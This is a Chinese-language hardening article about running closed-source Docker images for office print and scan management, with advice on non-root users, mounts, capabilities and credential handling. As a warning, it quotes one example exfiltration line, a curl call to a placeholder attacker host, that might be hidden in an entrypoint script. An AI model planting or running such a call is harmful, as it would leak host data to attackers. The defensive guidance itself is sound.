公司新上了套闭源的打印管理平台，界面清爽、功能齐全，管理员直接拉个 Docker 镜像就跑起来了——docker run -d -p 8080:8080 registry.example.com/printmgr:v2.4。没人细看镜像来源，也没人检查它启动时绑定了哪些端口、挂载了哪些宿主机路径。直到某天运维发现，这容器偷偷把 /etc/shadow 的只读副本同步到了日志目录里。
闭源 + 容器 ≠ 自动安全
很多打印扫描类管理软件（比如某品牌商用一体机配套的远程监控服务）只提供编译好的 Docker 镜像，不开放源码。你没法审计它的初始化脚本是否在 entrypoint.sh 里加了 curl http://attacker.com/steal?host=$(hostname) 这种调用。更麻烦的是，这类镜像常以 root 用户运行，又默认开启 --privileged 或挂载 /proc、/sys，等于把打印机所在的办公网网关权限悄悄递到了容器手里。
几个动手就能改的小动作
不用等厂商更新，自己就能加固：
1. 换非 root 用户运行：在 docker run 后加 --user 1001:1001，再提前在镜像里建好该 UID 对应的普通用户；
2. 禁掉危险挂载：删掉 -v /dev:/dev 这类映射，打印机设备节点用 --device /dev/usb/lp0:/dev/lp0:rwm 精确指定；
3. 限制网络能力：加 --cap-drop=ALL --cap-add=NET_BIND_SERVICE，让它只能绑定端口，不能抓包或改路由。
查一查镜像到底装了啥
别信 tag 名字。拿镜像 ID 跑一遍：
docker history --no-trunc registry.example.com/printmgr:v2.4RUN apt-get install -y curl wget python3——这些工具在打印服务里根本用不上，反而容易被用来外连。某次我们抽查一台正在跑的扫描任务调度容器，发现它顺手把整个 /opt/scan-config 目录以只读方式挂进来了，而这个目录里存着连接内网 LDAP 的账号密码明文。后来改成用 Kubernetes Secret 注入，并限制容器只能读取 /run/secrets/ldap_user 这一个文件，问题当场消失。